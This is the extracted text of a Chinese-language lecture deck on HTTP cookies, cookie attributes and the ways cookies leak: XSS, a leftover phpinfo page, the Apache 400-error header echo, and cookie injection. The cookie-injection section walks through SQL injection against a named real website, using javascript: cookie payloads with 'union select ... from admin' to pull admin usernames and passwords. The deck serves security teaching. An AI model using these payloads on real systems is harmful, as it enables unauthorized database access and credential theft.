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背景简介

• 人们对于Web服务的便利性和友好性有了更大的需求，

在复杂的互联网交互活动中，用户在本次访问服务器时，

希望服务器能有上次用户访问时的种种记录和资源。

• HTTP的无状态特性即无法根据之前的状态进行本次的请

求处理，极大的阻碍了交互应用的发展。

• 因此，为了维持和跟踪用户的状态，引入了Cookie
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基本概念

• Cookie
– 在上一次访问网站的过程中，由Web服务器生成的信息数

据
• 纯文本

• 由服务器发送给用户并保存在用户端（浏览器、本地文件）

• 在用户下次访问同一网站时发送给服务器

– 记录客户端和服务端交互信息的机制
• 登录和验证

• 偏好和设置

• 个性化（广告）

…
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基本概念

• 域名/路径
– https://weibo.com/a/hot/1.html

• 客户端告知服务器意图的http方法
– Get 方法，“请把xx给我”

– Post方法，“我要把xx告诉你”

• 服务器使用request对象获取客户端信息
– Request.[参数集合]（参数名称）

– 省略参数集合时，默认参数集合顺序为

querystring,form,cookies

– Get 方法对应Request.querystring(参数名称)

– Post方法对应request.form(参数名称)
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基本概念

• JavaScript

– web脚本语言

– 被设计为向 HTML 页面增加交互性

• XSS（cross site script）
– 跨站脚本攻击

– 攻击者通过在浏览器内运行非法的html标签或脚本，用户

浏览网页时用户浏览器被控制
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基本概念

• 同源策略
– 源指的是协议，域名，端口号

– http://www.a.com/test/index.html 的同源检测

• http://www.a.com/dir/page.html ----成功

• http://www.child.a.com/test/index.html ----失败，域
名不同

• https://www.a.com/test/index.html ----失败，协议不
同

• http://www.a.com:8080/test/index.html ----失败，端
口号不同

– 浏览器的安全功能，一个源下的脚本不能操作另一个源下的

资源
• a.com下的脚本不能读取b.com里面的文件数据
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基本概念

• 跨域
– 一个源下的脚本可以操作另一个源下的资源

• Php（Hypertext Preprocessor）
– 超文本预处理器

– 一种通用开源脚本语言,适用于web开发

• Phpinfo()
– 运行指令，显示服务器的配置信息

– http://www.idcspy.com/phpinfo.php
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Cookie原理

• Cookie 属性

– 域名和路径共同决定了该Cookie所在位置

– HttpOnly属性，设置为true时页面中的脚本无法更改

Cookie内容

– Secure属性，设置为true时在http协议中无效，只能在

https协议连接中被浏览器传递到服务器端
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Cookie原理

• Cookie 工作原理
– 没有Cookie信息状态下的请求
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http的请求报文的首部字段内没有Cookie的相关信息



Cookie原理

– 第2次以后（存有Cookie信息状态的请求）
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Cookie安全分析
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• Cookie 泄露
– 属于用户A的相关Cookie信息被攻击者获取到，导致攻击

者以用户A的身份访问网站

– 造成Cookie泄露的方式有5种：
• Cookie的domain属性设为父域

• XSS攻击+未设置HttpOnly属性

• 服务端未删除Phpinfo函数+设置HttpOnly属性

• 服务器400错误+设置HttpOnly属性

• Cookie注入
– 用户A以攻击者的身份访问网站



Cookie安全分析---Cookie的domain属性设置为父

域

• 实现主域相同，子域不同的跨域

• 不建议网站在设置Cookie时，将域名“缩短”，否则，

用户访问其他子域名的网站时会出现Cookie泄露
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设置Cookie domain

document.cookie = “user=abc”; bit.edu.cn

document.cookie = “user=abc”;                  

domain=edu.cn;

edu.cn

若攻击者控制了edu.cn，则可以读取www.bit.edu.cn,www1.bit.edu.cn,

www.beihang.edu.cn的Cookie



Cookie安全分析---未设置HttpOnly属性+XSS攻

击

• 在未设置HttpOnly属性的情况下，进行XSS攻击
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插入发送Cookie
的脚本

访问 触发
！得到Cookie



Cookie安全分析---设置HO属性+未删除Phpinfo函

数

• 在 设 置 HttpOnly 属 性 情 况 下 ， 通 过 脚 本

（document.cookie）等无法读取到Cookie信息，

但Cookie仍会发送到服务器端。如果服务端响应页面有

cookie调试信息，很可能会导致Cookie泄露
– 用户端使用Phpinfo()函数查询服务器信息
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Cookie安全分析---设置HttpOnly属性+服务器400错误

• 在设置HttpOnly属性情况下，Apache Http Server 

400错误会暴露HttpOnly Cookie
– 设置Cookie请求头长度超过apache限制长度4k，引发

400错误，在返回信息中会输出出错的请求头内容

16



Cookie安全分析--- Cookie注入

• 条件
– 服务器已对get请求方法和post请求方法非法字符进行过

滤

– 服务器获取用户信息的方式为Request.（参数）

– 服务器未对cookie请求方法非法字符过滤
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服务器 数据库

使用cookie
输入非法sql语句 根据sql语句查询数据库

返回查询的数据获得数据库信息

未判断输入
合法性



Cookie安全分析--- Cookie注入

• 目标站：
http://www.2cto.com/Products_show.asp?id=284

– 步骤1，使用get方式提交参数，测试服务器是否过滤
http://www.2cto.com/Products_show.asp?id=284 

and 1=1

– 步骤2，使用cookie方式提交参数，测试服务器获取数据方式
• 访问目标站，待页面完全打开后在地址栏中输入

javascript:alert(document.cookie="id="+escape("

284")) 18



Cookie安全分析--- Cookie注入
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Cookie安全分析--- Cookie注入
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• 去掉id=284,访问

http://www.2cto.com/Products_show.asp?

页面
正常
显示



Cookie安全分析--- Cookie注入

• 步骤3，测试服务器是否对Cookie数据过滤
– javascript:alert(document.cookie="id="+escape

("284 and 1=1"));

– javascript:alert(document.cookie="id="+escape

("284 and 1=2"));
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未
过
滤



• 步骤4，使用sql语句确定字段数、表名，获取密码
– javascript:alert(document.cookie="id="+escape("284 order by 

20"))

– javascript:alert(document.cookie="id="+escape("284 union 

select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from 

admain"))

– javascript:alert(document.cookie="id="+escape("284 union 

select 1,2,3,4,5,username,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from 

admin"));
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建议

• 不记住密码

• 清理cookie
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延伸

• Session 与Cookie
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